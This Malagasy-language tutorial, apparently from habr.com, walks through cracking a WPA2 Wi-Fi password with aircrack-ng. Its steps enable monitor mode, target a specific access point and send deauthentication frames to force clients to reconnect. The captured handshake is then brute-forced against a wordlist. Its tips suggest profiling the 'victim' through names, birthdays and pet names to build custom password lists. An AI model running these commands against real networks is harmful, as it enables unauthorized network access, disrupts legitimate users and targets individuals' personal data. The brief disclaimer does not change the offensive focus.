Maminavina ny tenimiafina Wi-Fi miaraka amin'ny utility aircrack-ng

Ity lahatsoratra ity dia nosoratana ho an'ny tanjona fampahafantarana sy fikarohana fotsiny. Mamporisika anao izahay hanaraka ny fitsipiky ny tambajotra sy ny lalàna, ary hahatsiaro mandrakariva ny fiarovana ny vaovao.

fampidirana

Tany am-piandohan'ireo taona 1990, rehefa niseho voalohany ny Wi-Fi, dia noforonina ny algorithm Wired Equivalent Privacy, izay natao hiantohana ny tsiambaratelon'ny tambajotra Wi-Fi. Na izany aza, ny WEP dia voaporofo fa algorithm fiarovana tsy mahomby izay mora hack.

Nosoloina algorithm vaovao fiarovana Wi-Fi Protected Access II, izay ampiasain'ny ankamaroan'ny teboka fidirana Wi-Fi ankehitriny. Ny WPA2 dia mampiasa algorithm encryption, AES, izay tena sarotra vakiana.

Aiza ny vulnerability?

Ny tsy fahampian'ny WPA2 dia ny fampitana ny tenimiafina miafina rehefa mifandray ny mpampiasa mandritra ilay antsoina hoe 4-way handshake. Raha mahazo fifanomezan-tanana isika dia ho fantatsika ny tenimiafina voafono ary ny hany tokony hataontsika dia ny mamadika azy io. Ho an'ity tanjona ity dia hampiasa aircrack-ng isika.

Dia ahoana ny fanaovana hack?

Dingana 1. Farito ny interface

Voalohany dia mila mitady izay interface tsara ilaina isika, mba hanaovana izany dia miditra ny baiko:

$ ifconfig

Azontsika ny valiny:

eth0      no wireless extensions.

wlan0     IEEE 802.11abgn  ESSID:off/any
Mode:Managed  Access Point: Not-Associated   Tx-Power=15 dBm
Retry short limit:7   RTS thr:off   Fragment thr:off
Encryption key:off
Power Management:off

lo        no wireless extensions

Raha ny amiko dia telo ihany ny interface, ny roa amin'izy ireo dia tsy manana fanitarana tsy misy tariby. Noho izany, wlan0 ihany no mahaliana anay.

Dingana 2. Apetraho amin'ny fomba fanaraha-maso ny adaptatera tambajotra

Ny fametrahana ny adaptatera tambajotra amin'ny fomba fanaraha-maso dia ahafahantsika mahita ny fifamoivoizana tsy misy tariby manakaiky antsika. Mba hanaovana izany, ampidiro ny baiko:

$ airmon-ng start wlan0

Mariho fa ny airmon-ng dia nanome anarana ny interface-nao (ny ahy izao dia mon0, fa tokony hojerenao ihany).

Dingana 3. Manakana ny fifamoivoizana

Amin'izao fotoana izao dia ao anatin'ny fomba fanaraha-maso ny adaptatera tambajotra, dia azontsika atao ny maka ny fifamoivoizana mandalo antsika amin'ny alàlan'ny baiko airodump-ng. Ampidiro:

$ airodump-ng mon0

Mariho fa voatanisa eo an-tampon'ny efijery avokoa ireo teboka fidirana hita maso, ary ny mpanjifa dia voatanisa eo amin'ny farany ambany amin'ny efijery.

Dingana 4. Mifantoha amin'ny fidirana amin'ny toerana iray manokana.

Ny dingana manaraka dia ny mampifantoka ny ezaka ataontsika amin'ny iray amin'ireo teboka fidirana sy ny fantsona misy azy. Mahaliana anay ny BSSID sy ny laharan'ny fantsona amin'ny teboka fidirana izay hosokajinay. Andao hanokatra terminal hafa ary hiditra:

$ airodump-ng --bssid 08:86:30:74:22:76 -c 6 -w WPAcrack mon0

• 08:86:30:74:22:76 BSSID amin'ny teboka fidirana
• -c fantsona 6 izay iasan'ny teboka fidirana Wi-Fi
• WPAcrack rakitra izay horaketina an-tanana
• mon0 tambajotra adaptatera amin'ny fomba fanaraha-maso

Araka ny hitanao amin'ny pikantsary etsy ambony, dia mifantoka amin'ny fakana angona avy amin'ny toerana fidirana iray miaraka amin'ny ESSID Belkin276 amin'ny fantsona 6 izahay izao. Avelanay misokatra ny terminal!

Dingana 5. Mandray fifanomezan-tanana

Mba hisamborana ny tenimiafina miafina dia mila ny mpanjifa ho voamarina (mifandray amin'ny Wi-Fi). Raha toa ka efa authentication izy dia azontsika atao ny manafoana azy (disconnect), avy eo ny système dia hanao authentication ho azy (connexion), ka afaka mahazo ny tenimiafina miafina.

Izany hoe, mila manapaka ny mpampiasa mifandray fotsiny isika mba hifandraisany indray. Mba hanaovana izany, sokafy ny terminal hafa ary midira:

$ aireplay-ng --deauth 100 -a 08:86:30:74:22:76 mon0

• 100 ny isan'ny mpampiasa izay hofoanana
• 08:86:30:74:22:76 BSSID amin'ny teboka fidirana
• mon0 tambajotra adaptatera

Ankehitriny, rehefa mifandray indray ianao, ny varavarankely izay navelantsika tamin'ny dingana teo aloha dia hihazona ny fifampikasihan-tanana. Andao hiverina any amin'ny terminal airodump-ng ary hijery.

Mariho eo amin'ny tsipika ambony eo amin'ny ankavanana, airodump-ng output: "Hantso tanana WPA". Izany hoe, azonay soa aman-tsara ny tenimiafina voafono! Ity no dingana voalohany amin'ny fahombiazana!

Dingana 6. Mifidiana tenimiafina

Amin'izao fotoana izao dia manana ny tenimiafina voatahiry ao amin'ny rakitra WPACrack izahay, afaka maminavina ny tenimiafina. Fa amin'izany dia mila manana lisitry ny tenimiafina tiantsika hampiasaina isika. Afaka mahita lisitra toy izany ianao ao anatin'ny 5 minitra ao amin'ny Google. Na izany aza dia hampiasa ny lisitry ny tenimiafina default ao amin'ny aircrack-ng aho: BackTrack darkcOde.

Sokafy terminal vaovao ary midira:

$ aircrack-ng WPAcrack-01.cap -w /pentest/passwords/wordlists/darkc0de

• WPACrack-01.cap rakitra izay nandrakitra ny fifampikasohana tanana (airodump-ng nanampy -01.cap amin'ny farany)
• /pentest/passwords/wordlist/darkc0de lalana tanteraka mankany amin'ny lisitry ny tenimiafina

Haharitra hafiriana izany?

Mety haharitra ela io dingana io. Miankina amin'ny halavan'ny lisitry ny tenimiafinao izany rehetra izany, afaka miandry minitra vitsivitsy ka hatramin'ny andro vitsivitsy ianao. Amin'ny processeur Intel roa-fototra, ny aircrack-ng dia maminavina mihoatra ny 800 tenimiafina isan-tsegondra.

Rehefa hita ny tenimiafina dia hiseho eo amin'ny efijery. Miankina amin'ny lisitrao na mahomby ny maminavina ny tenimiafina. Raha tsy afaka maminavina ny tenimiafina mampiasa lisitra iray ianao, aza kivy, manandrama hafa.

Torohevitra hampiasaina

1. Ity karazana fanafihana ity dia mahomby amin'ny faminavina tenimiafina avy amin'ny lisitra, saingy tsy misy ilàna azy amin'ny faminavina kisendrasendra. Mikasika ny fotoana daholo izany. Raha voaaro amin'ny tenimiafina antonony amin'ny litera sy isa latinina ny Wi-Fi, dia haharitra taona maromaro ny fifantenana kisendrasendra.
2. Rehefa mifidy lisitry ny tenimiafina, aoka ho azo antoka ny mandinika ireo anton-javatra ara-jeografika. Ohatra, tsy misy dikany ny manao fifantenana ao amin'ny trano fisakafoanana Paris mampiasa ny lisitry ny tenimiafina Rosiana.
3. Raha mikaroka Wi-Fi ao an-trano ianao, dia andramo mitady angon-drakitra manokana momba ny niharam-boina (anarana, anarana farany, daty nahaterahana, anaran'ny alika, sns.) ary mamorona lisitry ny tenimiafina fanampiny avy amin'ity data ity.
4. Aorian'ny fikasihan-tanana anao dia esory ny aireplay-ng (aza mampijaly ny mpampiasa tsotra).

Source: www.habr.com